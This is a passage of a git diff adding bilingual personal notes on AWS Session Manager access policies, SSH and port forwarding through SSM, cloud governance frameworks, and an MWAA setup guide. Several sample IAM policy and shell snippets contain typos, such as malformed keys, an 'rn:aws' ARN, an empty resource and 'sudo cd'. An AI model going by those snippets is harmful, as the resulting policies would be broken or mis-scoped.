--document-name option, the system uses SSM-SessionManagerRunShell and launches the session. +- The session starts even if the user’s IAM policy doesn’t grant explicit permission to access the `SSM-SessionManagerRunShell` document. + +```bash +# doesn’t specify a session document. +aws ssm start-session \ + --target i-02573cafcfEXAMPLE + +# specifies the default Session Manager session document. +aws ssm start-session \ + --document-name SSM-SessionManagerRunShell \ + --target i-02573cafcfEXAMPLE +``` + +To restrict access to the default or any session document +- add a condition element to the user's IAM policy that validates whether the user has explicit access to a session document. +- When this condition is applied, the user must specify a value for the `--document-name` option of the `start-session` AWS CLI command. +- This value is either the default Session Manager session document or a custom session document you created. + +```json +// performs a session document access check. +// With this condition element set to true, explicit access to a session document must be granted in the IAM policy for the user to start a session. The following is an example. +{ + "Effect": "Allow", + "Action": [ + "ssm:StartSession" + ], + "Resource": [ + "arn:aws:ec2:region:account-id:instance/instance-id", + "arn:aws:ssm:region:account-id:document/SSM-SessionManagerRunShell" + ], + "Condition": { + "BoolIfExists": { + "ssm:SessionDocumentAccessCheck": "true" + } + } +} +``` + +- Using the default `SSM-SessionManagerRunShell` session document is the only case when a document name can be omitted from the start-session CLI command. +- In other cases, the user must specify a value for the `--document-name` option of the start-session AWS CLI command. +- The system checks whether the user has explicit access to the session document they specify. +- Example + - if a user specifies the name of a custom session document created, the user’s IAM policy must grant them permission to access that document. + - If a user runs a command to start a session using SSH, the user’s policy must grant them access to the `AWS-StartSSHSession` session document. + - To start a session using SSH, configuration steps must be completed on both the target instance and the user's local machine. For information, see (Optional) Enable SSH connections through Session Manager. + + + + + +--- + +### 4. 設定 user 的 iam policy + +#### end user policies for Session Manager +- create IAM end user policies for Session Manager. +- allows users to start sessions from only the Session Manager console / AWS CLI / EC2 console, or from all three. +- These policies provide end users the ability to start a session to a particular instance and the ability to end only their own sessions. + + +```yaml +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - ssm:StartSession + - ssm:SendCommand + # needed for cases where a user attempts to start a session from the Amazon EC2 console, but a command must be sent to update SSM Agent first. + Resource: + - arn:aws:ec2:*:*:instance/* + # no restrict + - arn:aws:ec2:region:987654321098:instance/i-02573cafcfEXAMPLE + # restrict access to specific instances by creating an IAM user policy that includes the IDs of the instances + - arn:aws:ssm:region:account-id:document/SSM-SessionManagerRunShell + # the default name of the SSM document that Session Manager creates to store your session configuration preferences. You can create a custom session document and specify it in this policy instead. You can also specify the AWS-provided document AWS-StartSSHSession for users who are starting sessions using SSH. + Condition: + BoolIfExists: + ssm:SessionDocumentAccessCheck: 'true' + # the system checks that a user has explicit access to the defined session document, SSM-SessionManagerRunShell, before a session is established. + StringLike": + ssm:resourceTag/Environment: "staging" + # 使用 tag 去區別用戶能夠存取的環境,像是 staging or production + +- Effect: Allow + Action: + - ssm:DescribeSessions + - ssm:GetConnectionStatus + - ssm:DescribeInstanceInformation + - ssm:DescribeInstanceProperties + - ec2:DescribeInstances + Resource: "*" + +- Effect: Allow + Action: kms:GenerateDataKey + # enables the creation of a data encryption key that will be used to encrypt session data. If you won't use AWS KMS key encryption for session data, remove the following content from the policy. + Resource: key-name + +# Allow a user to end only sessions they started +# Method 1: Grant TerminateSession privileges using the variable {aws:username} +# allowed to end only their sessions on those instances. +- Effect: Allow + Action: ssm:TerminateSession + Resource: arn:aws:ssm:*:*:session/${aws:username}-* + +# Method 2: Grant TerminateSession privileges using tags supplied by AWS +# control which sessions a user can end by using a condition with specific tag key variables in an IAM user policy. The condition specifies that the user can only end sessions that are tagged with one or both of these specific tag key variables and a specified value. +# When a user in your AWS account starts a session, Session Manager applies two resource tags to the session. The first resource tag is aws:ssmmessages:target-id, with which you specify the ID of the target the user is allowed to end. The other resource tag is aws:ssmmessages:session-id, with a value in the format of role-id:caller-specified-role-name. +- Effect: Allow + Action: ssm:TerminateSession + Resource: '' + Condition: + StringLike: + # the condition statement lets a user end only the instance i-02573cafcfEXAMPLE. + ssm:resourceTag/aws:ssmmessages:target-id: + - i-02573cafcfEXAMPLE + # for cases where the caller type is User. The value you supply for aws:ssmmessages:session-id is the ID of the user. + ssm:resourceTag/aws:ssmmessages:session-id" + - "AIDIODR4TAW7CSEXAMPLE" + # for cases where the caller type is AssumedRole. You can use the {aws:userid} variable for the value you supply for aws:ssmmessages:session-id. Alternatively, you can hardcode a role ID for the value you supply for aws:ssmmessages:session-id. If you hardcode a role ID, you must provide the value in the format role-id:caller-specified-role-name. For example, AIDIODR4TAW7CSEXAMPLE:MyRole. + - ${aws:userid} + + +``` + +#### administrator policy for Session Manager + +- create IAM administrator policies for Session Manager. +- provide administrators the ability to + - start a session to instances that are tagged with `Key=Finance,Value=WebServers`, + - create, update, and delete preferences, + - end only their own sessions. + + +```yaml +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - ssm:StartSession + - ssm:SendCommand + # needed for cases where a user attempts to start a session from the Amazon EC2 console, but a command must be sent to update SSM Agent first. + Resource: arn:aws:ec2:us-west-2:987654321098:instance/* + Condition: + StringLike: + ssm:resourceTag/tag-key1: tag-value1 + ssm:resourceTag/Finance": "WebServers" + # restrict access to instances based on specific Amazon EC2 tags. + # allowed to start sessions with the condition that the instance is a Finance WebServer (ssm:resourceTag/Finance: WebServer). If the user sends a command to an instance that is not tagged or that has any tag other than Finance: WebServer, the command result will include AccessDenied. +- Effect: Allow + Action: + - ssm:DescribeSessions + - ssm:GetConnectionStatus + - ssm:DescribeInstanceInformation + - ssm:DescribeInstanceProperties + - ec2:DescribeInstances + Resource: "*" +- Effect: Allow + Action: + - ssm:CreateDocument + - ssm:UpdateDocument + - ssm:GetDocument + Resource: arn:aws:ssm:region:account-id:document/SSM-SessionManagerRunShell +- Effect: Allow + Action: ssm:TerminateSession + Resource: rn:aws:ssm:*:*:session/${aws:username}-* +``` + + +#### Allow full (administrative) access to all sessions + +- allows a user to fully interact with all instances/sessions created by all users for all instances. +- It should be granted only to an Administrator who needs full control over your organization's Session Manager activities. + +```yaml +Version: '2012-10-17' +Statement: +- Action: + - ssm:StartSession + - ssm:TerminateSession + - ssm:ResumeSession + - ssm:DescribeSessions + - ssm:GetConnectionStatus + Effect: Allow + Resource: + - "*" +``` + +### 5. user IAM group + +1. 在IAM中创建组:group-test + - IAM > 选择组(group-test) > 添加权限 > 直接附加现有策略 > 选:policy-test +2. 在IAM中创建用户:user-test + - 把你的帐号加入group-test组中 + - (注意:你的帐号只分配凭证就行,不需要设置密码,如果需要登录web控制,才需要设置密码) + + + +### 6. 設定完以上的基本設定後,登入機器 + +```bash +# 安装 AWS CLI +$ sudo pip install --upgrade awscli +# 为 AWS CLI 安装 Session Manager Plugin +$ curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/linux_64bit/session-manager-plugin.rpm" -o "session-manager-plugin.rpm" +$ sudo yum install -y session-manager-plugin.rpm +# 验证安装 +$ session-manager-plugin +# Session-Manager-Plugin is installed successfully. Use AWSCLI to start a session. + + +# 启动SSM Session +$ aws ssm start-session \ + --target i-0b0d92751733d1234 +# Starting session with SessionId: user-test-xxxxab2b33333333 +# sh-4.2$ +# sh-4.2$ ls +# /tmp +# 通过SSM登录上EC2(i-xxxxxxxxxx),并不需要ssh。 +``` + +### more session preferencse: + +[link](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-getting-started-configure-preferences.html) + + +### 修改 ssm-user sudo 权限 + +当支持 Session Manager 的某个 SSM 代理版本在实例上启动时,它会创建一个名为 ssm-user 的具有根或管理员权限的用户账户。 +- 在 Linux 计算机上,此账户添加到 /etc/sudoers。 + + +```bash +# 连接到实例并运行以下命令: +sudo cd /etc/sudoers.d + +# 打开名为 ssm-agent-users 的文件进行编辑。 + +# 删除 sudo 访问权限,请删除以下行: +ssm-user ALL=(ALL) NOPASSWD:ALL + +# 要恢复 sudo 访问权限,请添加以下行: +ssm-user ALL=(ALL) NOPASSWD:ALL +``` + + +### 配置ec2 的安全组: + +入站:取消所有规则 + +出站: +1. 开放tcp/udp 53端口 +2. 开放tcp/443 端口 (因为需要此端口访问aws ssm服务器) +3. 开放tcp/6443 连接k8s的端口以及只允许k8s master IP(如果想只允许访问k8s API); + + +### 记录会话数据 + + +启动session后,所有对ec2执行的命令以及返回的结果,可以记录在CloudWatch Logs中。 +1. 在CloudWatch中 新建日志组:session-logs +2. 在System Manager 的会话管理器中启用日志流 + - 日志组选择:session-logs +3. 启动ssm session 后,执行的所有操作,在CloudWatch的日志组(session-logs)都可以查到: + + +![20190402100145503](https://i.imgur.com/iIqBMgE.png) + +![2019040210063670](https://i.imgur.com/JlqkmpI.png) + +--- + +## 使用 scp + +### 設定 + +透過 session manager 去達成 scp ,基本上透過 AWS 文件 [session-manager-getting-started-enable-ssh-connections](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-getting-started-enable-ssh-connections.html) 上的描述,可以得知是利用 Proxycommand 透過 AWS tunnel 直接連接到我們的 EC2 機器上。 + +編輯 `~/.ssh/config` 並加入 + +```bash +# SSH over Session Manager +host i-* mi-* + ProxyCommand sh -c "aws ssm start-session --target %h --document-name AWS-StartSSHSession --parameters'portNumber=%p'" + +# 就可以使用 +scp -i -i /path/my-key-pair.pem test123 ubuntu@i-0b0d92751733d1234:~/test123 +# 還是要利用一開始設定好的 key pair 去做連線。 +``` + + + +### 進階設定 + +上面提供的方法雖然可以讓我們使用 scp & ssh,但是還是得設定 EC2 機器的 key + +繞過去 +- 網路上有人寫好了這個 proxy command 的 [script](https://gist.github.com/qoomon/fcf2c85194c55aee34b78ddcaa9e83a1) +- 使用的方式很簡單 + 1. 下載並且把這個 script 放到 `~/.ssh/aws-ssm-ec2-proxy-command.sh` + 2. 修改 `aws-ssm-ec2-proxy-command.sh` 成為可以執行 + 3. 修改 `~/.ssh/config` 裡面的指令 +- 原理很簡單 + 1. 利用 `aws ec2-instance-connect send-ssh-public-key` 去建立一個 short-lived 的 key + - 這個指令詳細的好處可以看這篇 aws 文章 [new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances](https://aws.amazon.com/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/) + 2. 接著再使用這把 key 透過原本的 start session 那條路連上遠端的 ec2 機器。 + + +```bash +host i-* mi-* + ProxyCommand ~/.ssh/aws-ssm-ec2-proxy-command.sh %h %r %p + +# 就不用在帶一把 key 去做認證了 +scp test123 ubuntu@i-0b0d92751733d1234:~/test123 +``` + + + +--- + +## Port forwarding + +透過 port forwarding 去連接 EC2 上面的服務, +- 很多時候我們會把服務都放進 private subnet 內, 而 developer 想要測試這些 services 時,往往要利用 VPN 或是開一台在內網的 EC2 去連結, +- 而使用 port forwarding 可以讓我們更容易地達成這個需求。 + +```bash +aws ssm start-session \ + --target i-0b0d92751733d1234 \ + --document-name AWS-StartPortForwardingSession \ + --parameters '{"portNumber":["80"],"localPortNumber":["9999"]}' +``` + + +這樣就可以透過 `localhost:9999` 去連結到 EC2 上面 service 的 80 port 了 +- 詳細的內容也可以看這篇 AWS 的文章 [new-port-forwarding-using-aws-system-manager-sessions-manager](https://aws.amazon.com/blogs/aws/new-port-forwarding-using-aws-system-manager-sessions-manager/) + + + + + + + + + + +--- + +## Monitoring + + +### Logging AWS Systems Manager API calls with AWS CloudTrail. + + + + + + + + + + + + + + + +--- + + +## Reference + + +--- + +- [https://www.youtube.com/watch?v=nzjTIjFLiow](https://www.youtube.com/watch?v=nzjTIjFLiow) +- [https://www.youtube.com/watch?v=kj9NgFfUIHQ](https://www.youtube.com/watch?v=kj9NgFfUIHQ) +- [https://aws.amazon.com/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/](https://aws.amazon.com/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/) +- [https://aws.amazon.com/blogs/aws/new-port-forwarding-using-aws-system-manager-sessions-manager/](https://aws.amazon.com/blogs/aws/new-port-forwarding-using-aws-system-manager-sessions-manager/) +- [https://globaldatanet.com/blog/ssh-and-scp-with-aws-ssm](https://globaldatanet.com/blog/ssh-and-scp-with-aws-ssm) diff --git a/_posts/01Cloud/01AWS/Management/2020-07-18-cloud-governance.md b/_posts/01Cloud/01AWS/Management/2020-07-18-cloud-governance.md new file mode 100644 index 00000000000..817c0b5ad18 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/2020-07-18-cloud-governance.md @@ -0,0 +1,232 @@ +--- +title: AWS - Management - cloud governance on AWS +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Management] +tags: [AWS] +toc: true +image: +--- + +- [cloud governance on AWS](#cloud-governance-on-aws) + - [overview](#overview) + - [value of the NIST CSF](#value-of-the-nist-csf) + - [NIST CSF](#nist-csf) + - [NIST CSF use case with identity](#nist-csf-use-case-with-identity) + - [The organizational context: AWS Cloud Adoption Framework](#the-organizational-context-aws-cloud-adoption-framework) + - [AWS CAF use case with identity](#aws-caf-use-case-with-identity) + - [Secure and resilient system architecture: AWS Well-Architected Framework](#secure-and-resilient-system-architecture-aws-well-architected-framework) + - [AWS Well-Architected use case with identity](#aws-well-architected-use-case-with-identity) + - [Putting it all together](#putting-it-all-together) + +--- + +# cloud governance on AWS + + +- ref: + - [Optimizing cloud governance on AWS: Integrating the NIST Cybersecurity Framework, AWS Cloud Adoption Framework, and AWS Well-Architected](https://aws.amazon.com/blogs/security/optimizing-cloud-governance-on-aws-integrating-the-nist-cybersecurity-framework-aws-cloud-adoption-framework-and-aws-well-architected/) + +--- + +## overview + +- Integrating the NIST Cybersecurity Framework, AWS Cloud Adoption Framework, and AWS Well-Architected +- approach to security governance, risk management, and compliance can be an enabler to digital transformation and business agility. +- many customers establish a security foundation using technology **agnostic risk management frameworks** + - such as the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) +- to understand their organization’s current capabilities, set goals, and develop a plan to improve and maintain security posture. However, you still need the right model to optimize security outcomes in the cloud. +- To adapt the security program for the cloud, AWS developed two tools + - AWS Cloud Adoption Framework (CAF) and AWS Well-Architected Framework . + - complement the risk-based foundation with the AWS CAF, integrate the organizational business drivers at scale as you move to the cloud + - and, when ready to implement specific workloads,use the AWS Well-Architected Framework to design, measure, and improve the technical implementation . + + + +## value of the NIST CSF + +- the value and use of the NIST CSF as a framework to + - establish the security objectives, + - assess the organization’s current capabilities, + - and develop a plan to improve and maintain the desired security posture. +- use the AWS CAF t begin the digital transformation journey in the AWS Cloud with strategies around organizational practices and governance at scale that align to the business drivers. +- AWS Well-Architected Framework can enable security best practices at the workload level. + +using these three complementary frameworks can optimize the security outcomes. While they can be used independently, each builds upon the other to strengthen and mature the cloud environment and organizational security program. +- Using the AWS Cloud Adoption Framework (CAF) and AWS Well-Architected Framework to help meet NIST Cybersecurity Framework (CSF) Objectives and Achieve a Target Profile + +![CSF-CAF-WA-Graphicrev](https://i.imgur.com/t7lp7No.png) + +to use CAF and AWS Well-Architected to help meet NIST CSF objectives, process involves the following steps: +- **Establish** the organization’s `cybersecurity governance` and `desired security outcomes` with the NIST CSF using the Core functions and **implementation** Tiers to create the target profile. +- **Prepare** for cloud migration and **implement** a scalable foundation using AWS CAF to map those capabilities in the cloud +- **Measure and improve** the security architecture and operational practices with AWS Well-Architected and select the AWS services to support the security needs. + + +## NIST CSF + +![NIST](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/04/08/Optimizing-Cloud-Governance-2small.png) + +- Establish the security governance and desired security outcomes +- using a framework for the organizational security program + +[NIST CSF](https://www.nist.gov/cyberframework), an internationally recognized risk management framework +- The CSF provides a simple and effective method for understanding and communicating security risk across the organization. +- Its technology and industry-agnostic approach allows for an outcome-based common taxonomy that you can use across the business, from the board level to the technical teams. +- We continue to see accelerating adoption of the CSF across industries and countries, and its principles are becoming standardized approaches, as we see in the latest ISO 27103:2018 and draft ISO 27101 standards. + +The NIST CSF consists of three elements — Core, Tiers, and Profiles. +- The Core + - includes five continuous functions: Identify, Protect, Detect, Respond, and Recover + - you can map to other standards or control requirements as required by the business.  +- The Tiers + - characterize an organization’s aptitude and maturity for managing the CSF functions and controls, +- The Profiles + - intended to convey the organization’s “as is” and “to be” security postures. +- Together, these three elements are designed to enable the organization to prioritize and address security risks consistent with the business and mission needs.  + +### NIST CSF use case with identity + +Unlike the process for building **on-premises networks and datacenters** that start with `physical facilities, computer and storage hardware, and a network perimeter` to protect what is being built out, +- **adopting the cloud** starts with `identity and access management` with the chosen cloud service provider. + +For AWS, this means creating an AWS account and leveraging AWS IAM to create users and groups, define roles, and assign permissions and policies. +- NIST CSF five functions—Identify, Protect, Detect, Respond, and Recover. +- If we look at the Protect function as an example, there are 7 subcategories under the Identity Management, Authentication and Access Control (PR.AC) category : + - **PR.AC-1:** `Identities and credentials` are issued, managed, verified, revoked, and audited for authorized devices, users and processes + - **PR.AC-2**: `Physical access` to assets is managed and protected + - **PR.AC-3:** `Remote access` is managed + - **PR.AC-4:** `Access permissions and authorizations` are managed, incorporating the principles of least privilege and separation of duties + - **PR.AC-5:** `Network integrity` is protected (e.g., network segregation, network segmentation) + - **PR.AC-6:** `Identities are proofed and bound to credentials` and asserted in interactions + - **PR.AC-7:** `Users, devices, and other assets are authenticated` (e.g., single-factor, multi-factor) commensurate with the risk of the transaction (e.g., individuals’ security and privacy risks and other organizational risks) + +> PR.AC-2 is a good example of how the shared responsibility model comes into play. +> With most cloud services, physical security is implemented and managed by the cloud service provider and you get to inherit those controls. +> This is true for AWS, with the exception that when you utilize a hybrid cloud service, such as AWS Snowball or AWS Outposts, +> - where we will ship a physical device for you to use in the on-prem environment or in the field, you are responsible for their physical security while the physical device is in the custody. +> For the purpose of this blog, however, we will focus on non-hybrid AWS cloud services, and so we will skip PR.AC-2 for this use case. Customers retain the responsibility to manage the physical security of their datacenters and their physical assets that connect to and access cloud services. + + +## The organizational context: AWS Cloud Adoption Framework + +AWS Cloud Adoption Framework – _Prepare the organization for the cloud_ + +Cloud computing introduces a significant shift in how technology is procured, accessed, used, and managed . +- To operationalize and optimize the security program for the cloud, the organization needs to `understand the new paradigm, and update skills, adapt existing processes, and introduce new processes`. + +The [AWS Cloud Adoption Framework (CAF)](https://aws.amazon.com/professional-services/CAF/)  +- helps organizations plan for a successful cloud migration, and not just the technical aspects for a single application lift-and-shift, but with the intent to establish an organizational foundation to facilitate deploying, operating, and securing workloads at scale. +- This may include: + - establishing a DevSecOps culture and processes, + - training staff and incorporating new paradigms into assignments and work, + - building shared cloud infrastructure and management service environments, + - implementing central governance and logging, + - and other aspects that will integrate with individual applications and use cases. +- Each organization’s path will be different, so it’s important to plan ahead and connect the business goals and desired security outcomes to the right processes and technologies. + +![Figure 2: CAF perspectives](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/04/01/Optimizing-Cloud-Governance-4.jpg) + +**CAF perspectives** +- comprised of six perspectives used for planning and strategic considerations + - based on principles that apply to most organizations. + - 3 focus on the organization: Business, People, and Governance + - technical aspects are considered in the Platform, Security, and Operations perspectives . + - As NIST CSF, all these perspectives influence management of security risks and help achieve the security outcomes.  +- Using the AWS CAF, structure the security program to `meet the desired outcomes with agility, scale, speed, and innovation` that comes with AWS.  +- AWS CAF helps customers operationalize the security goals through 4 principles: Directive, Preventive, Detective, and Responsive . + - **Directive** principle provides guidance to understand the environment and data in the cloud + - **Preventive** provides guidance to operate selected security controls in AWS ; + - **Detective** provides a means to analyze the environment and alert on anomalies and risks ; + - **Responsive** looks to mitigate detected risks, with an emphasis on automation + + +**AWS CAF Security Perspective** +- comprised of 5 core + 5 augmenting security epics +- Consistent with the principles of the NIST CSF + - organization’s foundational capabilities focus on identifying, applying, and scaling security best practices at the program and organizational levels to support business outcomes.  +- Security epics begin with identity and access management as the backbone to secure cloud deployment. + +![Security epics](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/04/01/Optimizing-Cloud-Governance-5.png) + + +### AWS CAF use case with identity + +few AWS services being applied and configured to govern IAM at scale. +- 3 tiers to consider when designing and building the IAM security + - Implement IAM Guardrails, Operationalize IAM, and Privileged Access Management .  + +AWS shift the mindset from “locking down” a system: `implies inflexibility that can impact usability and business agility`, to the concept of “guardrails” where `security is defined by outer limits that allow freedom of movement within those constraints`. +- allows for more flexibility to explore new methods and technologies to **meet dynamic market changes** + +Specifically for AWS IAM, `implementing guardrails` through services such as **AWS Organizations, AWS IAM, and AWS Control Tower.** +- For example + - **AWS Control Tower**: provides the easiest way to `set up and govern a new, secure, multi-account AWS environment based on best practices` established through AWS’ experience, working with thousands of enterprises as they move to the cloud. + - Next, operationalize IAM by **federating with an existing directory service, or creating a cloud directory**, and `implementing account and access control lifecycles`. + - Finally, explore options to `implement a privileged access management (PAM) solution` to protect these important accounts. + - **AWS Secrets Manager** and **Systems Manager Sessions Manager**, 2 services that can assist with this objective. + - Using this small excerpt of the AWS CAF, and with the input into the process, you can design the AWS IAM to meet the NIST CSF subcategories PR.AC-1, 3, 4, 6, and 7 highlighted above. + +![CAF Identity sprint](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/04/07/Optimizing-Cloud-Governance-4r.png) + + + +## Secure and resilient system architecture: AWS Well-Architected Framework + +The [AWS Well-Architected Framework](https://aws.amazon.com/architecture/well-architected/) +- Using AWS Well-Architected Framework to measure and improve the workload architecture + - helps to understand considerations and key decision points for building systems on AWS + - a framework for guiding and evaluating the workload architectures. +- learn architectural best practices for designing and operating reliable, secure, efficient, and cost-effective systems in the cloud. +- It provides a way to consistently measure the architectures against best practices and identify areas for improvement. +- The process for `reviewing an architecture` is a **constructive conversation** about architectural decisions and having AWS Well-Architected systems increases the likelihood of business success. + +**AWS Well-Architected Tool** +- To assist customers in documenting and measuring their workloads +- a questionnaire available on the AWS Management Console that helps you answer, “Am I well-architected?” + - use AWS Well-Architected for designing, evaluating, and continuously improving the architectures. + - After preparing, planning, and scaling for cloud migration using the **Cloud Adoption Framework**, **AWS Well-Architected** can inform how you secure specific workloads in line with the security outcomes (and Target Profile) applied from the NIST CSF . + +- focuses on the workload level: the infrastructure, systems, data, and processes +- by examining five core pillars: + - Operational Excellence, + - Security, + - Reliability, + - Performance Efficiency, + - and Cost Optimization. + +![Figure 5: Well-Architected Tool](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/04/01/Optimizing-Cloud-Governance-8.png) + + +### AWS Well-Architected use case with identity +- 5 areas in the security pillar of the AWS Well-Architected Framework: + - Identity and Access Management (IAM), + - Detection, + - Infrastructure Protection, + - Data Protection, + - and Incident Response. +- AWS Well-Architected **provides guidance for secure implementation and approaches** for `selecting the right AWS services to put these core security practices in place in the workloads`. +- these areas are similar to AWS CAF security perspective. + - That’s because those capabilities that were identified at the strategic level should be addressed at the technical layer. + - That traceability from business requirement to technical strategy to technical architecture and operations is a crucial element to make sure security is applied at all levels of the organization, and that it is meeting a business need. + +read through the IAM of the AWS Well-Architected security pillar +- will see some workload-level best practices for activities + - like `multi-factor authentication, temporary credentials, auditing, and least privilege`. +- Following these guidelines to meet NIST CSF subcategories 1, 3, 4, 6, and 7 for individual workloads and applications, uniquely for each if needed. +- For example, + - **PR.AC-1** includes an objective to `audit for authorized devices, users, and services`. + - Although there are several options to implement auditing, and areas to focus on, one of the **AWS Well-Architected best practices** is to `audit and rotate credentials periodically`. + - Following the general guidance below along with prescriptive AWS service guidance, to design the workload to help meet this requirement. + - In support of this use case, **AWS Well-Architected** recommends that you + - transition from user and group permissions to the use of inherited roles for human and machine principals, + - retire long-term credentials and access keys for temporary credentials and MFA where appropriate, + - then use automation to verify controls are enforced. + +## Putting it all together + +Using **NIST CSF**, **AWS CAF**, and **AWS Well-Architected** +- tailor the approach to incorporate security management best practices for the cloud journey. +- These three frameworks offer `related, but distinct lenses` on how to approach security for the organization, connecting business goals and outcomes to the security program. + - NIST CSF -> develop an `organizational understanding` to managing security risks. + - AWS CAF -> `plan the cloud security approach and map activities` to security controls operating in the cloud and scale them throughout the organization. helps build out the architecture. + - AWS Well-Architected -> `consistently measure` the workload against best practices and identify areas for improvement. diff --git a/_posts/01Cloud/01AWS/Management/MWAA-setup.md b/_posts/01Cloud/01AWS/Management/MWAA-setup.md new file mode 100644 index 00000000000..ef4b0384f54 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/MWAA-setup.md @@ -0,0 +1,617 @@ + + +[toc] + +- ref + - [Building complex workflows with Amazon MWAA, AWS Step Functions, AWS Glue, and Amazon EMR](https://noise.getoto.net/2021/01/11/building-complex-workflows-with-amazon-mwaa-aws-step-functions-aws-glue-and-amazon-emr/) + - Post Syndicated from original [link](https://aws.amazon.com/blogs/big-data/building-complex-workflows-with-amazon-mwaa-aws-step-functions-aws-glue-and-amazon-emr/) + + + +--- + +# setup Amazon EMR Notebooks using Amazon MWAA + +- use [Amazon Managed Workflows for Apache Airflow](https://docs.aws.amazon.com/mwaa/latest/userguide/what-is-mwaa.html) (Amazon MWAA) to orchestrate analytics jobs on EMR Notebooks. +- We will start by walking you through the process of using [AWS CloudFormation](https://aws.amazon.com/cloudformation/) to set up an Amazon MWAA environment, which allows you to programmatically author, schedule, and monitor different sorts of workflows on Amazon EMR. +- We will then use this environment to run an EMR notebook example which does data analysis with Hive. + +> The data source for the example in this post is from the public [Amazon Customer Reviews Dataset](https://s3.amazonaws.com/amazon-reviews-pds/readme.html). We use the [Parquet](https://en.wikipedia.org/wiki/Apache_Parquet) formatted dataset as the input dataset for our EMR notebook. + +--- + +## Prerequisites + +Before getting started, you must have the following prerequisites: + +- An AWS account that provides access to AWS services. +- [AWS Command Line Interface](https://aws.amazon.com/cli) (AWS CLI) version 1.18.128 or later installed on your workstation. +- An [Amazon Simple Storage Service](https://aws.amazon.com/s3) (Amazon S3) bucket that meets the following Amazon MWAA requirements: + - The bucket must be in the same AWS Region where you create the MWAA environment. + - The bucket name must start with `airflow-` and should be globally unique. + - Bucket versioning is enabled. + - A folder named `dags` must be created in the same bucket to store DAGs and associated support files. +- An IAM user with an access key and secret access key to configure the AWS CLI. + - The IAM user has permissions to create an IAM role and policies, launch an EMR cluster, create an Amazon MWAA environment, and create stacks in AWS CloudFormation. +- A possible limit increase for your account. (Usually a limit increase isn’t necessary. See [AWS service quotas](https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html) if you encounter a limit error while building the solution.) +- An EMR notebook created through the Amazon EMR console, using the notebook file [find\_best\_sellers.ipynb](https://aws-bigdata-blog.s3.amazonaws.com/artifacts/aws-blog-emr-mwaa/demo/notebook/find_best_sellers.ipynb). See [Creating a Notebook](https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-managed-notebooks-create.html) for instructions on creating an EMR notebook. Record the ID of the EMR notebook (for example, `<**e-\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***\>`); + + +--- + +## Architecture overview + + +At a high level, this solution uses Amazon MWAA with Amazon EMR to build pipelines for ETL workflow orchestration. The following diagram illustrates the solution architecture. + +![BDB-1140-1](https://i.imgur.com/eqV5cHY.jpg) + +We use the following services and configurations in this solution: +- Amazon S3 +- VPC network configurations +- VPC endpoints + +--- + + +## Setting up an Amazon MWAA environment + +CloudFormation template takes care of the following tasks + +- [Create an Amazon MWAA execution IAM role](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html). + +- [Set up the VPC network for the Amazon MWAA environment](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html), deploying the following resources: + - A VPC with a pair of public and private subnets across two Availability Zones + - a VPC + - `10.192.0.0/16` CIDR rule + - a VPC security group + - directs all inbound traffic to Amazon MWAA environment and all outbound traffic to `0.0.0.0/0` + - one public subnet + - `10.192.10.0/24` CIDR rule in 1st availability zone + - one public subnet + - `10.192.11.0/24` CIDR rule in 2nd availability zone + - one private subnet + - `10.192.20.0/24` CIDR rule in 1st availability zone + - one private subnet + - `10.192.21.0/24` CIDR rule in 2nd availability zone + - An internet gateway + - with a default route on the public subnets. + - creates and attaches to the public subets + - A pair of NAT gateways + - one in each Availability Zone + - and default routes for them in the private subnets. + - creates and attaches to the private subnets + - `two elastic IP addresses (EIPs)` + - creates and attaches to the NAT gateways + - 2 VPC endpoint + - Amazon **S3 gateway VPC endpoints** + - and **EMR interface VPC endpoints** + - in the private subnets in two Availability Zones. + - A security group + - **security group** to be used by the Amazon MWAA environment + - only allows local inbound traffic and all outbound traffic. + +- [Create an Amazon MWAA environment](https://docs.aws.amazon.com/mwaa/latest/userguide/create-environment.html) + - select `mw1.small` for the environment class and choose maximum worker count as `1`. + - For monitoring, publish environment performance to CloudWatch Metrics. + - For Airflow logging configuration, send only the task logs and use log level `INFO`. + + +to manually create, configure, and deploy the Amazon MWAA environment without using AWS CloudFormation, see [Get started with Amazon Managed Workflows for Apache Airflow (MWAA)](https://docs.aws.amazon.com/mwaa/latest/userguide/get-started.html). + + +--- + +### Launching the CloudFormation template + +To launch your stack and provision your resources, complete the following steps: + +1. Choose [**Launch Stack**](https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/quickcreate?templateURL=https://aws-bigdata-blog.s3.amazonaws.com/artifacts/aws-blog-emr-mwaa/demo/cloudformation/airflow_cft.yml): + - automatically launches AWS CloudFormation in your AWS account with a template. + - It prompts you to sign in as needed. + - You can view the template on the AWS CloudFormation console as required. + - The Amazon MWAA environment is created in the same Region as you launched the CloudFormation stack. + - Make sure that you create the stack in your intended Region. + +The CloudFormation stack requires a few parameters: + +![The CloudFormation stack requires a few parameters, as shown in the following screenshot.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-2.jpg) + + + +| **Parameter** 